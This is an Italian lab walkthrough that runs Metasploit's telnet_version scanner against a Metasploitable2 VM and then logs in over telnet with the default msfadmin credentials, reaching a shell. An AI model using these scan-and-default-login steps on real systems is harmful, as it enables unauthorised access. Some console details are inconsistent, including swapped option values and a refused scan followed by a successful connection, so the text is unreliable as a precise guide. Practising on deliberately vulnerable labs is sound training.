

EXPLOIT TELNET

Dopo aver avviato la console andiamo a cercare i moduli di telnet. Andremo ad utilizzare il modulo telnet_version:

```
msf6 > search telnet_version

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  auxiliary/scanner/telnet/lantronix_telnet_version .          normal No    Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version .          normal No    Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version

msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > info

Name: Telnet Service Banner Detection
Module: auxiliary/scanner/telnet/telnet_version
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>

Check supported:
No

Basic options:
Name      Current Setting  Required  Description
--      -
PASSWORD  no               yes       The password for the specified username
RHOSTS    23              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1               yes       The target port (TCP)
THREADS   1               yes       The number of concurrent threads (max one per host)
TIMEOUT   30              yes       Timeout for the Telnet probe
USERNAME  no               no        The username to authenticate as

Description:
Detect telnet services
```

Devono poi essere settate le impostazioni così come previste dal modulo:

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.50.101
rhost => 192.168.50.101
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.50.101:23 - A network issue has occurred: The connection was refused by the remote host (192.168.50.101:23).
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
```

e una volta fatto ciò possiamo far partire l'exploit con il quale avremo accesso alla metasploitable:

```
[*] exec: telnet 192.168.50.101

Trying 192.168.50.101...
Connected to 192.168.50.101.
Escape character is '^]'.

metasploitable2

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Sep 24 03:22:13 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ exit
Connection closed by foreign host.
msf6 auxiliary(scanner/telnet/telnet_version) > back
```